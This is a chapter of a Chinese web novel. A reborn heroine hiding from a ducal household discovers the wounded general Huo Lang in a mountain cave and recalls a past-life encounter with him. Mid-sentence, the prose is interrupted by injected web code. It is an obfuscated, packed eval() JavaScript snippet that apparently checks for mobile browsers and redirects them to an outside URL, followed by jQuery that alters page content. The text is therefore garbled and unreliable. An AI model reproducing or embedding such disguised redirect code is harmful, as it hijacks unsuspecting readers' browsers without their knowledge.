春寒仍浓，雨疏疏打落院中腊梅末叶，最后一朵枯花被风卷起，吹到茅檐上，继而浮跃远去。


    第三天了。


    俞沅之依旧睡不踏实，被极轻的脚步声惊醒，恍惚间瞄到一个瘦弱背影，身披蓑衣头戴斗笠，蹒跚出了门。


    她是她的阿娘，幼时遇天灾成了孤女，被村中百家饭喂大，十岁那年高热，因无力医治伤及喉咙，从此再没能开口说话。


    每日平旦，阿娘都会带上背篓进山，风雨无阻。她听不真切所以步伐慢，唯有在时辰上找补，方能与其他人采到等量的菇。


    有时运气好，还能挖到药材同去镇上卖，换回些糙米肉丁，柴火粗布。


    不争不抢，母女俩相依为命十余载，阿娘将沅之养得很好，即便物质匮乏，她却能以一双巧手，变着花样为女儿做出美味小食，譬如蜡梅花糕，松仁薄饼，野鸭菌菇汤。


    清贫，却满足。


    沅之倏忽从木床上坐起，伸手将阿娘挂在墙壁的一枚雁纹荷包摘下，她瞧见就厌。


    这是爹娘成亲时，阿娘特意绣的，用紫棠底掺上金线，寓意紫气东来，金榜题名，只不过那时她定然不曾想到，丈夫确是连中三元，步步高升，可他抛妻弃女，直至故去再未相见。


    手指缓缓触碰香囊，沅之仿佛忆起，前世成婚之际，阿娘也绣了身纹样相似的罗裙为她添妆。


    只可惜被徐鄞烧了。


    宸妃离世后，圣旨晓谕六宫，含章殿永封不得任何人进出，她的贴身物件都装在棕木匣子中，放了一把大火随之地下。


    天子肚量竟狭窄至此，令人闻所未闻。


    “难怪最后作茧自缚，被外人夺了位。”


    徐鄞原非太子首选，但他聪明，攀上手握兵权的霍将军，借此机遇翻身，在兄弟中脱颖而出。岂料暮年，又折在对方手上。


    沅之自说自话，起身将荷包埋在角落竹箱最下方。


    -


    疲惫不堪，像是坐了多日游筏，怔忪睁开眼，她又回到前世未入襄京前，距国公府迎人尚有六日。


    本想带着阿娘逃离，奈何村子处在两山之间，后为险林深崖，镇上唯有一条路通向外界，按照她们的脚力，纵使不眠不休，怎快得过勋贵的马车？


    沅之琢磨出个法子，备好干粮与水，先与阿娘藏在林中洞崖内，等上十天半月，再悄无声息离开。


    雨滴愈稀，跳珠渐止，青草香混着湿味弥漫在村里，三两生炊火的大婶已忙叨起来，见沅之抱着布包疾行摇臂低呼：“丫头，这么早去哪儿啊，过来拿个馍！”


    村中人对母女俩颇为照顾，尤其是刘家大婶，时常送些吃食，但阿娘每每都会记着还礼，给刘大婶的孙子带个镇上买的糖人，或是亲手做的腊梅花糕。


    “不吃了大娘。”


    沅之转身摆摆手，道谢后向村口跑去，虽说自家茅屋离山林更近，可一圈高篱笆架在后头，着实翻不过去。


    后林少有人往，古木茂盛，也不知是长了多少年，拔地而起，盘根错节，形成一道天然屏障。再向深处望，隐约可见远山峦起，高耸入云，初见或许会以为是雨后奇观，实则却是处危险峡谷，终年被薄雾笼罩，寒鸦遍布，将恒国与大邺隔断。


    两国交恶数载，平分秋色，势均力敌。大邺不允许子民越过边境一步，否则便是叛贼，抓到即斩，同理，敌国也是如此，不过此境线并无驻兵，毕竟渊深不知底，误入无生还。


    小径泥泞，沅之尽量脚踩凸起石块，避免沾脏阿娘为她纳的布鞋，昨晚上她趁阿娘睡着，偷偷备下些吃食，今日储妥干粮，还需用担子挑来井水，一道藏在矮洞中。


    村中有传闻，百年前山洞有暖泉，不过沅之从未见过什么暖泉，洞内黑漆漆令人生畏，躲在此地实系情非得已。


    “嘶——”


    当她穿过密林，靠近洞口时，不知打哪儿钻出匹烈马扬蹄嘶吼，仿佛受了惊吓，鸣声刺耳，前蹄腾空又躁乱下落，激起尘土翻滚，不断冒出细烟。


    “啊！”


    沅之仓促后躲，一下子坐在地上，怀中布包散落在旁，露出内里的果子与点心。


    疯马？


    她下意识以为是罗国公府寻来了，毕竟村中仅有一头拉磨的驴。


    沅之一动也不动，避免被其踏扁，烈马似乎意识到来人并无攻击性，危机感减弱，逐渐恢复平静。


    它好像受伤了。


    沅之留意到马背上凝结的大片血渍不免蹙眉，怪不得如此暴躁发狂。


    “我只是路过……无恶意。”她轻声哄着。


    马儿大多有灵性，应当能感受到她的语气。


    “你是不是迷路了，我带你出林子，给你包扎伤口好不好？”


    沅之察觉到这匹马与众不同之处，前世六皇子府邸豢养数十匹骏马，都是千里挑一的品种，她被圈在府内不得出，偶尔就会去马厩逛逛。


    久而久之，马的质素如何，她有自己判断的法子。


    这匹黑马，万里挑一不为过。


    或许它当真有灵，女子小心翼翼站起身，轻手轻脚靠近它，马儿未现怒态。


    沅之思量，倘若这匹马无主人，说不定可以帮它养伤后借用月余，就能与阿娘快些赶路离开是非之地。


    她伸出手掌左右晃了晃，搭在黑马的鼻腔处，随后向上触碰它的头，并未被排斥，继而她抚过马背，可是出乎意料，干涸血渍下并无伤口，那这些血……


    沅之察觉不妥，屏气凝神，向岩洞内缓缓挪动，她借靠微弱日光向里探，但当右脚踏出第三步时——


    咣。


    踢到了什么东西。


    眼珠向下看，居然有个人躺在地上，她本能地捂嘴尖叫，连忙向后退。


    男子身上尽然血污，即便在漆黑岩洞中，依旧能窥见张惨白的脸。


    沅之的心悬到嗓子口，这人还活着吗？


    战战兢兢，俯身细瞧……


    她居然认识！


    前世，徐鄞待之极其恭顺，男子出入王府次数不少。


    镇国将军霍琅，十八封将，手握重兵，太后的亲侄子。


    这种身份的人，为何会出现在这儿？而且伤得如此重？


    霍琅在民


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15070593|163180||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    间威望甚高，皆颂他战无不胜，平蛮族，荡乱象，不畏强权，敢言直谏。


    不过沅之不大认可后半句话，毕竟他自身便是“强权”，在太后与皇上面前，比嫡出的三皇子还要得脸。


    但是朝中老臣，对此嗤之以鼻，仅碍于其地位，甚少明言。


    其一，此人寡言却戾，从无情面可诉。


    上到国公，下至侍郎，甚至是宗室皇亲，都曾被他一句噎到说不出话来，更有甚者为此气得眼珠翻白，脑顶冒气。


    其二，年少成名，太后丞相双双力保，外戚威势过甚，难免傲字当头。


    罗国公曾私下斥骂，称其邪佞无章，一副诓人皮相，非忠正之士也。


    其三……他是外室子，母亡后被带回襄京，养于大夫人膝下。


    出身这个无法更改的烙印，被贵族鄙夷。


    沅之记得，自己仅与他有过一次交集。


    在徐鄞即将登基那年的除夕夜，她惦念阿娘，趁看管仆人打盹儿，蹑手蹑脚从后门溜了出去，谁料刚好撞上值守巡夜的霍琅。


    男子身披玄色大氅，单手勒住缰绳，居高临下看着衣着简薄，瑟瑟发抖的六皇子妃。


    徐鄞不许她离府，当晚更称她卧病，将其独自留下，倘若对方有意告知，又或将她从正门送进去，便遮掩不住私逃事实，到时无论是自己又或阿娘，都免不了麻烦。


    “将……将军，安好。”


    嗓音微有颤栗，却佯装镇定。


    霍琅一言不发，盯住女子片刻，抬手命身后随行的禁宫侍卫继续巡城，他则跃身下马走到沅之前方停下脚步，面无表情解开大氅递给她。


    “要去哪？”


    沅之心虚，担忧他告状，磕磕巴巴道：“因风寒不……不适，不宜至人多地方，但想……瞧热闹，所以在这儿随意走走。”


    “……”


    那夜，他们同坐在后门门槛，赏远处巷口挂着的几盏红灯笼，骏马仰头呼出白气，沅之垂首，眼观鼻，鼻观心，霍琅若不拆穿她，徐鄞便无借口惩治她。


    “将军……不进宫吗？”沅之尴尬地寻了个话题，轻声问道。


    她的确心存疑惑，除夕之夜，朔风凛冽，哪里需要霍琅这样顶顶尊贵的人在外奔波，他应当与其他皇子一般，御庭赴宴，共观歌舞。


    “不用。”


    “……”


    随之，又是一阵沉默。


    霍琅并不转头瞧她，沅之瞄了几眼安下心来，暗自舒了口气，猜测对方大抵是因巡夜无趣，所以随意找了个由头躲懒。


    渐渐，眼中的红灯笼有些模糊不清。


    她窝在大氅中倍感暖意，甚至能闻到少许清冽的雪松气息，手杵着下巴昏昏欲睡。到底是太后侄儿，想必襄京最好的皮毛都拿来为他制衣裳了。


    -


    就在记起男子的霎那，沅之脑中灵光一闪。


    倘若今世，她成了霍琅的救命恩人，是否就不用离乡避难，不必被国公府要挟！


    然而就在其蹲下，打算瞧瞧他伤势究竟如何之际，一把匕首瞬间抵住了她的喉咙——